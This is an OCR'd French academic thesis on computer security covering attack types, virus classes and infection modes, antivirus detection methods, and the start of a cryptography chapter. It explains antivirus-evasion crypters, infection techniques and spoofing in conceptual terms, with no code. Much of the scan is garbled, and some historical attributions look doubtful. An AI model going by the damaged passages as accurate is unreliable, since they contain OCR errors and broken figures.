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Introduction générale

I est bien évidement important de contrdler ,maitriser et de connaitre les droits
des utilisateurs du systeme informatique ainsi connaitre les ressources de 1’entreprise
a protéger, et cela surtout lors de I’ouverture de 1’acces sur internet de cette derniére

donc il faut étre au courant des différents dangers et risques qu’elle pourra faire face.

Les virus informatiques font partie des problémes les plus anciens de la sécurité
informatique. Pour détourner les anti-virus, les hackers malveillants ont inventé toute
sorte de procédés. Un sujet bien a la mode dans le domaine du hacking consiste &
crypter un fichier dans le but de le rendre indétectable par le plus grand nombre d’anti-
virus possible Différents types de crypter ont vu le jour comme les Code Dom , cheikh
crypter qui permettent de compiler du code source a la volée, par exemple dans le
but de rendre unique les noms des variables et des fonctions, par la suite il permet au
programme malveillant d’étre exécuté dans une autre zone mémoire, notamment celle
d’un processus considéré < de confiance » comme sv-chost.exe , sans oublier le chan-
gement de format et son intégration de cette dernieére dans le Task Manager sous le

méme format.

L’objectif de notre travail consiste a déterminer quelles sont les différentes tech-
niques de sécurité utiliser dans le domaine de divulgation d’information et comment les
utilisateurs malveillants de la nouvelle technologie font pour contourner cette derniére
pour y parvenir a leurs buts sur tout dans le domaine de chiffrement qui est utilisé pour
contourner la sécurité anti virale de tout systeme d’exploitation , alors on se demande
c’est quoi ses techniques ? et comment les grandes sociétés multinationales destinées

a développer des Antivirus font pour les détecter ?



Chapitre I

Sécurité informatique

1. Introduction

Actuellement, les ordinateurs sont appréciables en tant que dispositifs autonomes ,
mais lorsqu’on dispose d’un ordinateur personnel sans connexion réseau, a t-on besoin
d’une sécurité informatique ? Normalement I’endroit est assez sure pour protéger la
machine, il en va plus tout a fait de méme lorsque les ordinateurs sont reliés les uns
aux autres via I’Internet. L’interconnexion des ordinateurs permet de tisser la toile du
web , et celle ci repose d’abord sur la confiance mutuelle.Le probleme est que cette

confiance est régulierement trahie avec différentes manieres ou de techniques.

Mais toute nouvelle technologie posséde ses bon et ses mauvais cotés. Si les oppor-
tunités offertes au niveau commercial sont considérables, de nombreuses entreprises
s’exposent a un risque de sécurité énorme sans réellement en avoir conscience, des en-
treprises ont investi des millions de dollars dans ses outils et s’ apercoivent maintenant

que la sécurité n’y a pas été correctement intégrée.

2. Définition de la sécurité informatique

C’est I’ensemble des moyens mis en ceuvre pour réduire la vulnérabilité d’un

systeme contre les menaces accidentelles ou intentionnelles. Il convient d’identifier



les exigences fondamentales en sécurité informatique. Elles caractérisent ce a quoi

s’attendent les utilisateurs de systemes informatiques en regard de la sécurité [1] :

FIGURE I.1 — Caractéristiques et exigences [2].

e disponibilité :

Toute information doit &tre disponible ; en gros le bon fonctionnement du systéme.
Un pirate a besoin d’un accés a un systeme informatique dans ses attaques visant
la confidentialité ou I’intégrité qui n’est pas le cas pour les attaques contre la dis-
ponibilité car ses dernieres peuvent étre réalisées contre n’importe quel systéme
connecté a Internet ce qui rend la défense contre elles tres difficile. Pour Pouvoir
accomplir leur travail, de nombreux employés ont besoin de pouvoir accéder a
des réseaux et a leur e-mail donc la connectivité Internet est essentielle et in-
dispensable pour I’activité de beaucoup d’entreprises car les données, les infor-
mations, les serveurs et les réseaux doivent étre disponible pour les utilisateurs
légitimes. Par exemple un employé doit non seulement pouvoir s y connecter
mais aussi accéder aux données en temps en heure afin de se procurer un docu-

ment situé sur un serveur distant [3].

Confidentialité :
Le but est d’empécher, de détecter et de dissuader les modifications non autoriser
d’informations. Les gens pensent en premier lieu aux atteintes a la confidentialité

des informations, lorsqu’ils se préoccupent de sécurité. Les intrusions dans les
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bases de données, les fichiers clients sont les attaques les plus évidentes contre
la confidentialité leur but majeur et de 8’emparer de numéros de cartes de crédit,
de données confidentielles, d’informations parfois vitales pour une entreprise.
Cependant il existe des attaques contre la confidentialité qui ne sont pas aussi
manifestes. Il peut s’agir d’erreurs commises par des employés qui ouvrent des
trous de sécurité dans le systeme :

- Un administrateur qui oublie de redéfinir les permissions sur les fichiers aprés

la restauration du systeme a partir de la copie de sauvegarde.

— Une personne qui ne détruit pas correctement des documents confidentiels.

La premiére chose pour remédier les plus gros trous de sécurité remettant en
cause la confidentialité est d’examiner soigneusement la maniére dont les per-
missions sont configurées toute en sensibilisant les employées aux principes de
base de la sécurité. Lorsqu’un ordinateur est dérobé, la premigre atteinte est cette
portée a la disponibilité de la ressource donc il s’agit d’une attaque par déni de

service.

Par ailleurs puisque le disque dur de cet ordinateur est librement consultable
par le voleur, on a affaire a I’accés d’un utilisateur non autorisé aux données de
Pentreprise. Pour éluder ce type d’attaque, il faut d’abord assurer la sécurité des
acces physique et du réseau. Une autre solution pour préserver la confidentia-
lit€ des informations c’est le cryptage mais ce dernier ne protége pas la perte de
données lors du vol d’un portable ou d’une unité Centrale. Donc a compléter par

une solution de sauvegarde [3].

Intégrité :

Etre sur que I'information n’a pas été modifiée que par des personne non au-
torisées a la modification. Il existe des attaques contre I’intégrité qui impliquent
une atteinte a la confidentialité comme on peut aussi trouver des attaques qui im-
pliquent toute les modifications malveillantes ou inappropriées des informations

ou des données de I’entreprise pour bien comprendre on s’appuie sur 1’exemple

11






[4]
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4. Objectif de la sécurité informatique

L objectif de 1a sécurité des systémes informatique : est de garantir qu’ancun préjudice

ne puisse mettre en péril la pérennité des gens des institutions, des entreprise etc... Cela
consiste a diminuer la probabilité de voir des menaces se concrétiser, a limiter les at-
teintes ou dysfonctionnements induits et autoriser le retour 2 un fonctionnement normal
a moindres cofits et dans des délais acceptables en cas de sinistre. La sécurité ne per-
met pas directement de gagner de I’argent mais évite d’en perdre. Ce n’est rien d’autre

qu’une stratégie préventive qui s’inscrit dans une approche d’intelligence économique

{51

5. D’ampleur du probléme

Il faudrait de nombreuses pages, voir méme un livre entier pour établir la liste des
sites piratés et les virus qui existe dans la toile du net. On en citera quelque-un plus bas
ou on trouve des cites commerciaux , ou gouvernementaux , nationaux , internationaux
ect.. car apparemment rien et aucun domaine n’est a 1’abri.

Site :

— Banque d’Israél : Maures 2008 d’origine algerienne , Ali 2012 d’origine sau-

dienne.

— Mosad :ismail-Man-54 dorigine algerienne 2015.

— Paris-tv, Mark zuckerberg account : Ismail-man-54 2012.

— tv5 : un autre algerien donc le pseudo est inconnu 2015.

— Hackingteam.it : societé italienne qui développe des logiciels d’espionnage pour

les gouvernements (Maroc, Egypte, Italie,brésil) 2015

— CIA,FBI,Nokitel, Motorola,Nokia :Kevin Mitnik.

Virus :

— Spyeye : un des principaux Botnet développé par Bx1 ancien membre de dar-

kode.com jBX1, fait face a 23 accusations selon le ministere de la Justice américain.

— Zeus :un autre Botnet don le Master Mind est Evgeniy Mikhailovich Bogachev.

— warbot :utiliser lors de I’attaque contre I’Estonie en 2009.

15



— njrat :cheval de Troie qui est connue par sa stabilité.

— RCS Gallileo : qui coute 355.000% /licence , développé par hackingteam. it

6. Les attaques informatiques

Il existe plusieurs types d’attaques informatiques parmi lesquelles on peut citer [6] :

6.1 Le systeme de fichiers en réseau

Le systeme d’exploitation décide si oui ou non ’utilisateur a le droit d’accéder a
un fichier, a chaque fois qu’un utilisateur fait une requéte pour accéder au fichier en
question. Les permissions d’accés mises par le propriétaire du fichier déterminent qui
aura acces au fichier donc le systeéme d’exploitation prend une décision basée sur qui

ces permissions [6].
Deux causes principales derriere la protection de ses fichiers des autres utilisateurs :

— La premiére a pour but de cacher et protéger le contenu de ses fichiers des autres
utilisateurs. on ne veut pas que les autres utilisateurs soit capable de lire ou de
modifier le contenu du fichier parce qu’on considere le contenu de ce dernier

comme privé.

— La seconde raison est que des tierces personnes peuvent obtenir I’accés au compte
en modifiant des fichiers. Prenons I’exemple d’un utilisateur malintentionné qui
a ’acces <écritures dans le répertoire racine, il peut alors créer ou modifier le
fichier «.rhost« (sous UNIX) donnant un accés illimité & n’importe quelle autre
personne au compte. Il se dit, comme I’ utilisateur est responsable de son compte,

que tous les dégats engendrés sont sous sa responsabilité directe.

I’obtention de I’acces administrateur (root) est le principal but d’une personne qui
cherche a s’introduire dans un systéme car cet acces permet a la personne de tout

faire sur ce systeme : effacer, modifier ou ajouter de nouveaux fichiers. Une fois sur la
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machine en tant qu’utilisateur sans privilege particulier, le hacker peut alors lancer une
attaque pour obtenir 1’acces “super utilisateur” sur la machine en utilisant un trou de

sécurité dans le systeme d’exploitation.

6.2 Le social engineering

Les hackers utilisent ce terme pour désigner une technique d’intrusion sur un systéme
qui repose sur les points faibles des personnes qui sont en relation avec un systéme
informatique plut6t que sur le logiciel. Ils révélent le mot de passe ou toute autre infor-
mation qui pourrait compromettre la sécurité du systéme informatique afin de piéger

les gens [6].

Le piege classique est la demande urgente du mot de passe par le ou les techniciens
afin de piéger les utilisateurs du systéme. Le hacker mentionnera qu’il a besoin du mot
de passe pour d’importants travaux d’administration du systéme et il demandera 2 ce
qu’on lui envoie le mot de passe par mail. Sachant qu’il est possible pour le hacker de
créer un e-mail faisant croire qu’il provient de quelqu’un que I’on croit étre le 1égitime
administrateur réseau. Bien évidemment si la ruse se déroule par téléphone, le hacker

imitera la voix du technicien.

Une autre forme de social engineering c’est de deviner le mot de passe d’un uti-
lisateur. En connaissant des informations sur un utilisateur, peuvent les utiliser pour
deviner le mot de passe de ce dernier. Par exemple, la plaque d’immatriculation de sa
voiture, le prénom de ses enfants, leur date de naissance. Les hackers peuvent aller trés

loin pour deviner les mots de passe.

6.3 Le crackage de mot de passe

Les mots de passe sont la premiére ligne de défense contre les attaques sur un

systeme d’oul vient leur importance.

si un hacker n’arrive pas d’interagir sur un systéme distant et qu’il ne peut pas ni

17



lire ni écrire dans le fichier des mots de passe alors il n’a quasiment aucune chance
de développer une attaque couronnée de succes sur ce systeme. Le hacker utilise le
dictionnaire dans son attaque c’est la maniére la plus classique utilisée pour obtenir un

mot de passe [6].

Dans ce genre d’attaque, le hacker utilise un dictionnaire de mots et de noms
propres, et il les essaie un a un pour vérifier si le mot de passe est valide. Bien
évidemment, ces attaques ne se font pas a la main, mais avec des programmes qui
peuvent deviner des centaines voire des milliers de mots de passe a la seconde. Ce
procédé est d’autant plus facile, qu’il lui permet de tester des variations sur ces mots :
mots écrits a I’envers, majuscules et minuscules dans le mot, ajout de chiffres  la fin

du mot, etc..

6.4 Le sniffing des mots de passe et des paquets

Un hacker a d’autres outils pour obtenir le mot de passe si il na pas pu le deviner, la
méthode la plus populaire est le sniffing de mots de passe. Chaque message (ou paquet)
qu’un ordinateur transmet sur un réseau peut &tre lu par n’importe quel ordinateur situé

sur le réseau ce qu’on appelle le broadcasting utilisé par la plus part des réseaux [6].

En pratique, tous les ordinateurs sauf le destinataire du message vont s’ apercevoir
que le message n’est pas destiné pour eux et vont donc I’ignorer. Mais par contre,
beaucoup d’ordinateurs peuvent étre programmés pour regarder chaque message qui
traverse le réseau. Si une personne mal intentionnée fait ceci, alors elle pourra regarder

les messages qui ne lui sont pas destinés.

Tous les messages qui circulent sur le réseau sont scannés par des hackers 2 I’aide
des programmes qui utilise ce procédé tout en repérant les mots de passe. Une personne
risque contre son gré de donner son mot de passe si quelqu’un se connecte sur un ordi-
nateur 2 travers un réseau et que des ordinateurs ont été compromis par le procédé de

sniffing.
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Les personnes qui se connectent sur des ordinateurs distants (par exemple en uti-
lisant Telnet) risquent une menace sérieuse. Toutefois, si quelqu’un se connecte sur la
console d’un systéme (et non pas sur un terminal), son mot de passe ne circulera pas
sur le réseau ou il pourrait faire I’objet d’un sniffing. Mais si une personne se connecte
sur un autre réseau ou a partir d’un prestataire de service Internet, alors dans ce cas
elle sera dépendante de la sécurité de ces réseaux. Les programmes de sniffing les plus

connus sont :

— Esniff.c (programme source pour un sniffer ethernet).

— TCPDump

6.5 L’IP spoofing

On appelle I’ adresse utilisée pour reconnaitre un ordinateur sur Internet par I’adresse
IP. Quand elle est certifiée par les services TCP et UDP on peut dire qu’elle est valide
.Un des principaux problémes est qu’en utilisant le routage source d’IP, I’ordinateur

du hacker peut se faire croire comme étant un ordinateur connu [6].

le routage source d’IP utilisé pour spécifier une route directe a une destination et
renvoyer le chemin de retour a I’expéditeur. pour faire suivre les paquets a la destina-
tion finale on utilise la route qui peut inclure I’ utilisation d’autres routeurs ou de server
qui n’auraient normalement pas été utilisés. Voici un exemple qui montre comment
ceci peut étre utilisé de telle facon que 1’ordinateur de I’intrus apparaisse comme étant

I’ordinateur certifi€ par le serveur :

— pour faire croire qu’il est un client certifié par le serveur 1’agresseur change
I’adresse IP de son ordinateur.

— Il va ensuite construire une route source jusqu’au serveur qui spécifiera le chemin
de retour direct que les paquets IP devront prendre pour aller au serveur et qu’ils
devront prendre pour retourner a I’ordinateur de I’agresseur en utilisant le client
certifié comme derniere étape dans la route vers le serveur.

— en utilisant la route source , I’agresseur envoie une requéte client au serveur.
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— Le serveur accepte la requéte du client comme si elle provenait directement du

client certifié et retourne une réponse au client.

— Le client, fait suivre le paquet a 1’ordinateur de I’agresseur en utilisant Ia route

source.

Une autre maniére encore plus simple pour spoofer un client est d’attendre que le
systeme client ait éteint sa machine et de se faire passer ensuite passer pour ce dernier.
Les employés dans beaucoup d’entreprises pour se connecter sur des serveurs locaux
UNIX utilisent des PCs et des réseaux TCP/IP. Les PCs utilisent souvent NFS pour
obtenir un accés aux répertoires et aux fichiers du serveur (NFS utilise les adresses IP

uniquement pour authentifier les clients).

Les courriers électroniques sur Internet sont particulierement sujets au spoofing car
tres facile a réaliser. Les courriers électroniques sans 1’ajout d’une signature digitale

ne peuvent pas €tre d’origine fiable.

D’autres services comme le Domain Name Service peuvent aussi étre spoofés mais
avec toutefois plus de difficultés que le courrier électronique. Ces services représentent

une crainte qui mérite d’étre considérée quand on les utilise.

6.6 Les chevaux de Troie

Quand Ja victime (I’ utilisateur normal) lance ce programme, elle lance par la méme
le cheval de Troie caché car ce dernier ¢’est un programme qui se cache lui-méme dans

un autre programme pour éviter tout soupgon [6].

Il y a des exemples de chevaux de Troie UNIX sur I'Internet. Par exemple, en
1995, un serveur FTP bien connu a été pénétré et les agresseurs ont modifié un pro-
gramme treés populaire disponible sur ce site. Le cheval de Troie installé & I’intérieur
du programme permettait quand il était exécuté d’ouvrir I’acces au systeéme UNIX 2

n’importe qui.
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Voici une petite explication de ce qui se produit pour I’établissement d’une connexion :

| ACK
Client \
s | Serveur

FIGURE 1.2 - SYN ACK [7]

au moment ou le serveur a renvoyé un accusé de réception du SYN (ACK-SYN)
au client mais n’a pas recu le ACK du client , les abus viennent. C’est alors une
connexion a demi-ouverte. Le serveur construit dans sa mémoire systéme une structure
de données décrivant toutes les connexions courantes. Cette structure de données est
de taille finie, en créant intentionnellement trop de connexions partiellement ouvertes

peut créer un dépassement de capacité (overflow).

7. conclusion

Il est impossible de construire des défenses solides tant que I’on ne sait pas contre
quoi on se bat. C’est pour cela que la sécurité informatique est primordiale dans chaque
systeme et donc beaucoup d’entreprises recrutent des spécialistes dans le domaine et

dépensent beaucoup d’argent afin de se protéger.
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Chapitre 11

Les virus

1. Introduction

Une fois qu’un hacker s’introduit dans un systéme il voudra généralement d’y re-
tourner quand il veut, prenons I’exemple d’un attaquant qui voudra accéder un site web
une autre fois avec plus de facilité aprés 1’avoir pénétré afin de I’utiliser pour des be-
soins bien spécifiques comme une rampe de lancement pour pénétrer d’autre systémes
apres avoir mis tout ses fichier outils sur ce dernier. Donc il crée une porte dérobée
(back-door) que lui et lui seul connaitra, donc c’est nécessaire pour lui de se procurer

une voie d’acces pour cela il existe plusieurs techniques.

Grice a la grande efficacité des Virus, ces derniers sont devenus trés populaire
car la majorité des utilisateurs quand ils ouvrent une piéce jointe a un e-mail ou lors-
qu’ils téléchargent un logiciel depuis le web ignorent les dangers inhérents et pour
mettre I’accent sur ce point faut se demandait ”Quel serait le moyen rapide et simple
qui permettrait a un attaquant de compromettre le plus de machines possible avec le
minimum d’efforts ?”” la réponse la plus convenable fut I’utilisation d’un programme
original et attrayant possédant une interface graphique mais duquel serait dissimuler
un programme mal veillant et I’envojzer aux plus grand nombre de personnes possible

ou en utilisant des techniques de spread comme le JAVA DRIVE-BY.

Dans ce chapitre nous allons définir des généralités sur les virus ainsi que leurs
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différents modes et techniques de propagation et modes d’infection.

2. Définition des virus

Les infections informatiques sont des programmes ou des sous-ensembles de pro-
grammes malveillants qui, a I’insu de ’utilisateur, sont destinées & perturber, & modi-
fier ou a détruire tout ou partie des éléments indispensables au fonctionnement nor-
mal de I’ordinateur. On différencie les programmes simples et les programmes auto-

reproducteurs [8].

2.1 Virus de type infection (chevaux de troie, botnet..)

Dans son sens un virus offre a un pirate informatique d’y parvenir a ses fins, accéder
aux informations, modifier, supprimer ,contr6ler a distance sans oublier que certains
types de ses dernier permettent a I’attaquant d’y avoir acces facilement et s’y introduire

quand il veut [9].

2.2 Virus de type CPA (Code Parasite Autopropageable)

Se sont des programmes malveillants qui ont la particularité de s’autopropager et

de détruire une cible bien définie. [9].

3. Typologies et classification :

11 existe plusieurs classifications de virus décrites dans ce qui suit [9] :

e Virus mutants :
La plupart des nouveau virus sont un mélange ou clonage de plusieurs autres
anciens mais avec plus de puissance, réécrit par d’autres utilisateurs pour avoir
(leurs propre virus , ajouter des fonctionnalités tout ce résume a ne pas réinvente
la roue ..) sachant que leurs comportement va changer ainsi leur signature ce qui

rend leur détections plus difficile dans les conditions ou les éditeurs d’antivirus
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doivent ajouter ces nouvelles signatures a leurs bases de données.

Virus polymorphes :

Ce type de virus appelé virus polymorphes (mot provenant du grec signifiant la
possibilité de prendre plusieurs formes). C’est des virus qui changent de signa-
ture a chaque exécution ¢a veut dire le changement de la clef du cryptage car
ils sont dotés d’une fonction de chiffrement et déchiffrement a I’intérieur ainsi
I’auto sauvegarde de la nouvelle forme, cette technique est appelée technique de

camouflage.

Rétrovirus :

Appelé€ aussi virus flibustier (en anglais bounty hunter), dans la médecine c’est le
genre de virus s’attaquent aux cellules aprés la suppression de la défense contrai-
rement aux non rétroviraux dont le systéme immunitaires en charge, c’est le
méme principe dans I’informatique c’est un virus qui rend les signatures de 1’an-

tivirus inopérantes apres les avoir modifiées.

Virus du secteur d’amorcage :
C’est tout virus qui s’exécute a chaque fois que le systéme démarre et cela aprés

avoir infecté le secteur de démarrage d’un disque dur.

Virus trans-applicatifs (virus macros) :

Afin d’automatiser certaines taches efficacement un programme généralement
court et simple on utilise une macro qui est une série de commandes et d’ac-
tions. Une fois crées, les macros doivent étre exécutées par un systéme qui in-
terpréte les commandes emmagasinées. Il existe des systémes macro qui sont
des programmes autonomes, et d’autres on les trouve intégrés dans des appli-
cations complexes (par exemple pour les processeurs de mots) qui permet aux
utilisateurs la répétition facile des séquences de commandes, ou bien pour les
développeurs pour I’adaptation de I’application aux besoins Locaux. Microsoft

a mis au point un langage de script commun pouvant &tre inséré dans la plu-
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part des documents pouvant contenir des macros, il s’agit de VBScript, un sous-
ensemble de Visual Basic. Ces virus arrivent actuellement a‘ infecter les macros

des documents Microsoft Office ou des attachements d’un e-mail.

4. Cycle de vie d’un virus

Les différents cycles de vie d’un virus sont présentés comme suit [10] :

e Auto reproduction :

L’auto reproduction c’est la définition de tout programme qui a la capacité de
se recopier lui-méme sans intervention humaine, d’une fagon systématique ou

lorsque certaines circonstances ou conditions sont remplies.

e Infection :
Lorsqu’un programme dupliqué se loge de maniere illégitime dans certaines
parties du systéme informatique on appelle ceci une Infection. Les cibles pri-
vilégiées sont les zones d’informations exécutables contenues sur les disques
ou les disquettes (on pense immédiatement aux programmes enregistrés sur ces
supports, mais ce n’est pas le seul cas possible), la mémoire centrale (ce n’est
pas la seule cible car le virus ne se propagerait pas d’un ordinateur a‘ un autre,
sauf 2 travers des réseaux, et disparaitrait a I’extinction de I’ ordinateur) . Le pro-
gramme viral contenant dans les instructions d’un ordinateur s’exécute lorsque
I’ordinateur tentera d’exécuter ces instructions.

e Activation :
Si certaines conditions sont réunies I’activation du virus se produira ou plus
exactement celle de sa (ou de ses) fonction(s) pathogéne(s) prenons I’exemple
lors du lancement du virus, ou bien lors d’un double clic ou toute autre conjonc-
tion arbitraire de conditions.

e Alteration :
En effet le virus déclenche une fonction d’agression (payload en anglais) restée

en sommeil lorsque les conditions d’activation sont remplies : il prend au moins
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partiellement le contrdle du fonctionnement de I’ordinateur pour lui faire ac-
complir des actions diverses. Par exemple certains anciens virus pouvaient faire
tomber les lettres en cascade de leur position normale sur I’écran vers les lignes
du bas, afficher un message inattendu et ralentir fortement le fonctionnement de
’ordinateur. Trés vite les virus sont devenus beaucoup plus pervers la plupart
d’eux alterent d’une maniére étendue les fichiers enregistres sur les mémoires de

masse contaminées.

5. Modes d’infection

Le processus d’infection d’un virus consiste a identifier I’exécutable cible et a
intégrer dans son code binaire une copie du virus a la fin du processus d’infection d’un
virus on aura un mélange du fichier exécutable original et du virus. On trouve quatre

familles de virus qui définissent quatre modes d’infection d’un fichier exécutable [11].

WA k%
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FIGURE IL.1 — Infection par écrasement [11].

Un mode utilisé par de petits virus qui consiste sur le remplacement du code des
fichiers exécutables cibles par le propre code du virus pour cela il existe trois situations
[11}:

— Le programme infecté ne se lance pas ce qui attire I’attention de 1’utilisateur on
I’appelle mode d’infection viral car le virus écrase la partie initiale du code de la
cible.

— Le programme infecté peut ne plus étre fonctionnel car le virus écrase la partie
centrale ou finale du code de la cible en écrivant une fonction de saut vers la

zone de son propre code dans ’en-téte du programme cible ce qui provoque
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I’exécution du virus une fois le programme est lancé puis redonnera la priorité
au déroulement normal du programme.
— La taille des fichiers infectés est identique car la furtivité est nulle a cause du

remplacement intégral du code du programme cible par le propre code du virus.

Code

Virrs

FIGURE IL.2 — Recouvrement de code [11].

Le virus ajoute son code  celui du programme soit a I’en-téte (prepend consiste
) en modifiant les adresses d’appel des fonctions et des données du programme cible
ou bien a la fin code du programme cible (appelée append consistg) cette technique
de recouvrement consiste a placer dans 1’en-téte du programme cible une fonction de
saut permettant d’exécuter le virus en premier, et de transférer ensuite le contrdle au

programme infecté.

Tus

FIGURE I1.3 — Virus par accompagnement de code. E j

Son principe consiste a repérer un fichier cible il se copie dans un fichier supplémentaire

qu’il a crée auparavant sur le disque et qui va accompagné le programme cible. Alors le

28



programme cible n’est pas modifi€ et son intégrité est respectée et lorsque I utilisateur
exécute le programme cible, le virus contenu dans le fichier compagnon est exécuté en

premier lieu, ensuite le virus exécute lui-méme le programme cible qu’il accompagne.

plusieurs techniques sont envisageables, pour pouvoir parvenir 2 ce résultat [11] :

— La premiere technique est celle de I’exécution préemptive.

— La deuxiéme technique s’appuie sur la hiérarchisation des chemins de recherche
des exécutables.

— La troisicme technique consiste & renommer le programme cible

6. Détection d’infection virale

‘ C’est quoi un Antivirus ? Comment fonctionne t il ? Pourquoi un Antivirus ? ~
| En identifiant, neutralisant et éliminant des logiciels malveillants afin de sécuriser
\

les ordinateurs et préserver I’intégrité de ses données, qui peuvent étre importante [12].

6.1 Aspects techniques des Antivirus

Ce n’est pas toujours facile de localiser et combattre un virus pour cela les antivirus

utilisent plusieurs techniques dans leur combats.

6.2 Principales techniques de recherche virus

\ Il existe plusieurs techniques pour la localisation d’un virus les plus souvent uti-

lisées par les antivirus sont les suivantes (brievement présenté) [12] :
1. Le scanning de comportement : surveille les actions menées par les virus.

2. les controleurs d’intégrité : signalent les changements intervenus dans les fi-

chiers.

| 3. larecherche heuristique : recherche des instructions généralement utilisées par

! les virus.
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FIGURE I1.4 — Technique de recherche des virus.

6.3 Recherche de la signature (SCANNING)

Repose sur la détection des virus avant leur exécution en mémoire pour cela il faut
que L’ Antivirus ait déja été confronté au virus en question et 1’ait intégré 4 une base
de données. Donc le principe d’un scanneur est de rechercher sur le disque dur toute
chafne de caractéres identifiés comme appartenant & un virus. Un scanneur n’est donc
pas en mesure de détecter les nouveaux virus ou les virus polymorphes mais cette
méthode est plus longue a mettre en ceuvre car elle n’est utile que si elle recense tous

les virus existant [13].

6.4 Utilisation d’un contréleur d’intégrité

Consiste sur la construction d’un fichier avec les noms de tous les fichiers qui
sont sur le disque dur en prenant en compte leurs caractéristiques différents comme la
taille , la date et I’heure de la derni¢re modification ou encore un checksum (somme de
contrdle), Un CRC (code de redondance cyclique), ou un algorithme de checksum avec
un systeme de chiffrement propriétaire en recalculant le checksum a chaque démarrage
de I’ordinateur(si Antivirus n’est pas résident), il pourra détecter toute modification
ou altération des fichiers en effet si le checksum d’un programme avant et aprés son
exécution est différent, c’est qu’un virus a modifié le fichier en question, 1’utilisateur

est donc informé [13].

D’autre part Antivirus stocke dans une base de données la date et la taille de chaque

fichier exécutable et tester les modifications éventuelles au cours du temps.
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6.5 Moniteur de comportement

Repose sur I’observation d’ordinateur pour prévenir I’utilisateur en cas d’activité
de type virale ce moniteur est un programme qui reste actif et qui réside que 1’utilisa-

teur charge a partir du fichier AUTOEXEC.BAT [13].

6.6 Démarche heuristique

L’ analyse heuristique est comme le scanning, passive. Elle consideére le code comme
une simple donnée, et n’autorise jamais son exécution. Mais contrairement au scanning
elle peut détecter des nouveaux virus dont la signature n’a pas été ajoutée a la base de

données.

Elle est différente dans son principe, d’un moniteur de comportement qui surveille
des programmes ayant une action de type virale. Cette analyse concerne la recherche
de code correspondant a des fonctions virales. L’ Antivirus essaie de rechercher non
pas des séquences fixes d’instructions spécifiques au virus mais un type d’instruction

présent sous quelque forme que ce soit.

L’analyse heuristique permet aux virus polymorphes de chercher une routine de
déchiffrement qui consiste a parcourir le code puis la modifiée , dans ce cas 1’ Antivirus
cherche une suite d’instructions de lecture suivie d’une suite d’instructions d’écriture

[14].

6.7 Analyse spectrale

Il est impossible de retrouver dans un vrai programme exécutable compilé cer-
taines séquences de code et Tout code généré automatiquement est supposé contenir
des signes révélateurs du compilateur utilisé. C’est gréice a ce principe qu’entre en jeu
I’analyse spectrale qui vise a repérer les virus polymorphes qui sont indétectables au-

trement car leur signature changeant a chaque réplication.
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En effet, la séquence en résultant contient certaines associations d’instructions que
I’on ne trouve pas en temps normal lorsqu’un virus polymorphe crypte son code, ¢’est

ce que va détecter I’analyse spectrale [14].

6.8 Technique d’éradication de virus

Que ce soit en mémoire ou sur le disque dur, une fois un virus est détecté, il est
obligatoire de le supprimer, la suppression des virus est donc une fonction primordiale
des Antivirus car ces derniers ont pour but de prévenir I'utilisateur de ce programme
malveillant. Mais cela peut étre impossible comme le cas des virus avec recouvrement
qui détruisent une partie du programme sain lors de sa duplication pour remédier on
a une solution unique qui est bien la le formatage du disque dur ou la destruction des

fichiers infectés [14].

Pour d’autres il faut connaitre la localisation exacte du virus dans le fichier et c’est
trés ardue sachant que ce virus peut composé de plusieurs parties, ensuite il faut le sup-
primer, et enfin aller chercher la partie du programme dont le virus avait pris la place
et la restaurer et toutes caractéristiques des différents virus doivent étre Répertoriées

dans une base de données mise 2 jour quotidiennement.

7. Conclusion

Nous avons aussi mis en exergue le fait que Windows soit le systéme d’exploitation
le plus touché par les vers, mais avec I’expansion que connait Linux et aussi le fait que
ses nouveaux utilisateurs soient de moins en moins expérimentés il est a prévoir que
ce systeme d’exploitation soit de plus en plus la victime d’attaques cybernétique, bien

qu’a I’heure actuelle cette menace est trés faible comparé a I’autre OS.

On peut dire sans crainte alors que la batailles entre les créateurs d’anti virus et de
virus n’est pas préte de s’ arréter bien que 1’avantage est pour I’instant aux créateurs des
virus qui innove a chaque fois et aussi parce qu’un virus est fait 4 la base pour passer

indétecté.
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Chapitre I1I

La cryptographie

1. Introduction

La cryptographie qui est devenue une science a part-entieére et une partie impor-
tante de la technologie de I’information en méme temps , qui consiste a chiffrer, coder
des messages pour maintenir le secret de ses dernier et donner une certaine confiance
a ceux dont I’anonymat est primordiale, littéralement cette science qui a eu un en-
jeu majeur dans les guerres d’espionnage depuis la nuit des temps a été bien éloignes
des préoccupations du grand publique généralement et des scientifiques spécialement
, mais avec I’évolution et I’envie que la vie privé ne soit pas tellement exposer ’envie

de s’y mettre dedans a pris de I’ampleur.

”Ce qu’on appelle notre vie privée, c’est ce dont nous avons le droit de priver les

autres. ” Gilles Martin-Chauffier

2. Définition générale

D’apres Jaques Stern [15], la cryptologie ou la science de messages secrets qu’on
a fait remonter a césar ou parfois méme auparavant. Elle est mieux représente par la
trilogie fondamentale de la cryptologie :

— Intégrité : c’est de s’assurer qu’un message ou bien le fichier qu’on vient de re-

cevoir n’a pas subi de modification, bien souvent des modifications malveillantes
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que des modifications due au hasard.

— Authenticité : C’est généralement un procédé qui définit et prouve I’origine
(I'identité) d’un message.

~ Confidentialité : ce qu’on a tendance a décrire comme le cceur de la cryptologie
qui consiste par exemple a envoyé un message dans un chemin non sécurisé sans

qu’un tiers malveillant ne puisse accéder au vrai contenu.

3. Apercu historique

Un petit apercu historique, les trois ages de la cryptologie sont [15] :
~ L’4ge artisanal : jusqu’en 1918.
— L’4age technique : de 1919 a 1975

— L’age paradoxal : de 1976 a nos jours

3.1 I’age artisanal

C’est I’age des substitutions (changer une lettre par une autre) et permutation, 1’age

des cadrant et des cylindres ou chiffrement série qui est utiliser jusqu’a nos jours.

[ATEICBIETFIETRL TS [K[L VN[

S

AECDEFEHRKLMNGF]

FIGURE III.1 - Chiffrement de César [16].

3.2 L’age technique

C’est en utilisant des principes mécano électrique en général comme enigma lors

de la seconde guerre mondiale, cet 4ge Se termine lors de la création de I’informatique.
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FIGURE III.2 — Machine enigma [17].

3.3 I’age paradoxal
e Cryptographie a clé secrete(symétrique)

message_clair message_crypté message_clair
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+ s
Clé : Clé :
publique privée

FIGURE III.3 — Cryptographie a clé secrete [18].

e Cryptographie a clé publique(asymétrique)

¥ Texte é—.a Texte Texte % {
U ﬂﬂ:‘.’:: > - =t
p en clair "m:‘i FD chiffré, en clair 3
/! i .
<L Clef publique Clef privée /:\l-_
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FIGURE III.4 — Cryptographie a clé publique [19].
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4. La cryptographie symétrique et asymétrique

4.1 Le cryptage symétrique

Le cryptage symétrique est la technique la plus ancienne et la plus connue. A
